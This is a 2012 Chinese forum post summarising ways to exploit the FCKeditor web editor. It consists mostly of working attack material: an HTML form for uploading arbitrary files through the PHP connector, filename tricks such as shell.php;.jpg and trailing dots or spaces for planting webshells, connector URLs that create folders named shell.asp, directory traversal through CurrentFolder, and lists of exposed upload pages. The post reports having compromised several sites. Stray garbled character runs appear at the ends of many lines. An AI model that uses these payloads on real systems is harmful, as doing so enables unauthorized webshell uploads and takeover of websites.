Fckeditor漏洞利用总结 , Q, M0 C8 c4 u! l2 e# C
查看编辑器版本& A, c$ L% ?$ c) u2 M0 [/ p
FCKeditor/_whatsnew.html
0 i( H; K& J: Y, G) J1 t—————————————————————————————————————————————————————————————
4 e* s& K& i- {+ L6 c2 R+ {& j' N1 x9 N& V4 c' I$ ^4 N3 G" j
2. Version 2.2 版本6 t/ K( C p0 h* f- `/ e0 n
Apache+linux 环境下在上传文件后面加个.突破！测试通过。: ~* w4 x; k/ |2 p* }. b
—————————————————————————————————————————————————————————————8 u! U; H. ?5 M% d9 A
/ L3 {4 T1 x6 `% b4 ], m4 Y; h6 u3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。$ W& T# x. v; Z6 t9 E5 z" I
<form id="frmUpload" enctype="multipart/form-data"
) A6 S- x. _ t" `6 n: V kaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
* a2 O. d/ L, x& [# C<input type="file" name="NewFile" size="50"><br>
- {/ _5 k: d3 c. Y<input id="btnUpload" type="submit" value="Upload">4 }4 T6 N. }' A$ b8 T
</form>- }# _' B% p, K5 j8 _
—————————————————————————————————————————————————————————————
5 B7 J3 o8 ~1 e, p, ?9 m I- o, n2 y8 N7 I
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
) _" X6 X4 }7 D& W$ U/ h 很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。. y4 q3 Z/ g8 L* r7 P! m
4.1：提交shell.php+空格绕过# U: v, q1 S+ J- J3 j# s/ v
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
' ]$ g/ S7 \* ~& s" g8 q! a 4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。# w3 f+ _+ }1 s& t/ q, W) q! K
—————————————————————————————————————————————————————————————
9 Z, j$ {0 C: T- C R" v' P( r/ p$ U5 _
5. 突破建立文件夹9 G; R! V3 v/ C+ {# R) }/ `
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
( v( w% x X' E1 a/ S: EFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
" d5 \+ f1 f+ ~* ^9 z1 C—————————————————————————————————————————————————————————————! |, [; ? V0 F. H1 B( ^; e& h
$ z; {) ]6 w0 q+ ?3 Z. z1 _7 B6. FCKeditor 中test 文件的上传地址
) v$ s ~9 K' Z* w/ C3 p# }0 v4 RFCKeditor/editor/filemanager/browser/default/connectors/test.html- \" j, ]) U+ @5 l) V. B
FCKeditor/editor/filemanager/upload/test.html
1 z/ Z- I: b: [4 eFCKeditor/editor/filemanager/connectors/test.html! T) w, h: @0 w8 j3 x, G9 T! a
FCKeditor/editor/filemanager/connectors/uploadtest.html
8 M+ s# m- z$ \: L2 t P! z—————————————————————————————————————————————————————————————
+ D# D/ f2 s2 I
- r' M4 }- D% k8 y6 ]0 [% W7.常用上传地址
' G( ^' h* y; uFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
( ]4 J3 W4 E: v h5 k% x3 FFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp! G/ p. e g- D' l# r: a) K3 t
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)$ g0 S- e7 @2 o8 U9 {3 T- _. J
JSP 版：
# {: i: X" g# @% D! F# LFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp$ |5 C. I7 B5 i u4 R
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文# ^) [3 c" A+ a) M4 u
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。
8 I3 u+ c$ ?8 L% k/ r/ D8 m—————————————————————————————————————————————————————————————
" T$ W9 p( m7 E) ~2 |' X
7 a9 J9 }8 `9 \8.其他上传地址
3 ~# D1 t# k( ^$ wFCKeditor/_samples/default.html3 B5 w1 c M5 ^0 o( U
FCKeditor/_samples/asp/sample01.asp
( q* t3 X4 y. P' X& oFCKeditor/_samples/asp/sample02.asp
5 D& V* y4 o( t# u: G9 F ?& F& g% |FCKeditor/_samples/asp/sample03.asp9 q- J+ [- X# D9 w/ x1 ^) L
FCKeditor/_samples/asp/sample04.asp
3 |9 S9 T; x4 m一般很多站点都已删除_samples 目录，可以试试。
9 K2 U: s2 @/ E2 oFCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
' t8 `# K* C4 ^* U6 |/ x—————————————————————————————————————————————————————————————3 b4 S7 ~- |4 \5 A% C+ |( |1 s+ R
; J6 y2 P( \3 U0 @; J( Z0 r; Y" ~8 p
9.列目录漏洞也可助找上传地址# z3 }( Y9 @! b
Version 2.4.1 测试通过' u) \7 _; ~) B; F& ~
修改CurrentFolder 参数使用 ../../来进入不同的目录
* a% y% V8 g9 B# G/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp6 D& k1 A8 r% `' F A P
根据返回的XML 信息可以查看网站所有的目录。
4 R/ B# O, C' L' zFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
, L5 i) }/ R1 B* o$ o2 R. @0 {) A9 Q) u也可以直接浏览盘符：
8 S. T! z7 y6 Q3 j" D8 X& ^JSP 版本：
8 F* Q5 X( U- ^2 I6 A( MFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
4 A, R8 _$ @3 c- P( {' I—————————————————————————————————————————————————————————————
3 J7 Q% A! L. Z, ]: b6 ?! ^7 J! R: r6 `, q7 v2 N' [
10.爆路径漏洞
! M& s) t3 k2 ?; VFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp6 o: ?6 s1 c4 A; z/ X8 W
—————————————————————————————————————————————————————————————2 z. T C) _+ r5 {7 v
8 ^* ?1 P; \/ O) ^
11. FCKeditor 被动限制策略所导致的过滤不严问题2 l; b# ?: q3 W
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
; b& C, D) \. d5 ^( P a( N脆弱描述：
+ p" O3 ]+ H p8 U1 B0 l1 y, FFCKeditor v2.4.3 中File 类别默认拒绝上传类型：
4 i" x% U. [3 y! V8 F+ [html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm( [( R1 M3 J. x$ ?$ u
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
9 H# u0 U6 ^$ A A' I( F 而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。7 V( p1 V) {" \2 W
在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!' \1 | O1 E, Y! q
—————————————————————————————————————————————————————————————: p; z2 U C. {" E, b
( |) M! a7 V1 W" r0 t# T
12.最古老的漏洞，Type文件没有限制！1 [5 F; U8 J! M8 D ?
我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！
1 `4 g8 z1 B% s6 O" M—————————————————————————————————————————————————————————————
4 r* F- N% U' p9 i
! @( A0 m4 J( @/ S===============================================================================================================================================
8 z3 G- Q4 q) {* U: p5 C5 U8 {! }0 R1 L; k; e/ ~0 G
FCK编辑器jsp版本漏洞：
, S1 P' T0 I/ _0 y% e7 _2 A* c5 N7 j7 d g' f
" p( {5 k6 q- N1 S2 M# M
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
7 R u4 l9 L2 k, K) {7 D$ | u( C% ?6 c% @ \$ W& |
上传马所在目录$ M! C' E" U3 [% Y; ? P
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
' R* Y8 t2 C7 ^) w上传shell的地址:
3 k: U2 o7 q. ~8 J" }: F1 n5 `; C7 Khttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector3 M; ?# O* ?" D0 N. g4 `' m
跟版本有关系.并不是百分百成功. 测试成功几个站.9 k% G- Y4 _& H9 j6 D+ A2 D) Y
不能通杀.很遗憾.
, H$ q. g9 ?9 Q: k- Thttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector2 K" M- ^0 g" j8 Z9 u
如果以上地址不行可以试试
4 _* ]9 ^) ]5 E. j7 KFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector3 r0 Y3 Q$ D4 d. ]
FCKeditor/_samples/
0 l! f1 O' x9 E$ t( N: T& K9 B% sFCKeditor/_samples/default.html0 ]* ~( o2 y+ ]" a
FCKeditor/editor/fckeditor.htm4 R* W) u2 R5 S3 g- A8 Q% J
FCKeditor/editor/fckdialog.html/ f6 m. M6 \. c
% y0 e) V: v, J' |& r% Y7 D
; B# Y k: ?: c9 ^8 D- T
4 h# Y$ w+ \5 C6 }解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
! c) T8 p) l& {$ g5 O/ O! a% D1 v& v |
发表于 2012-9-13 17:01:39
收藏
支持
反对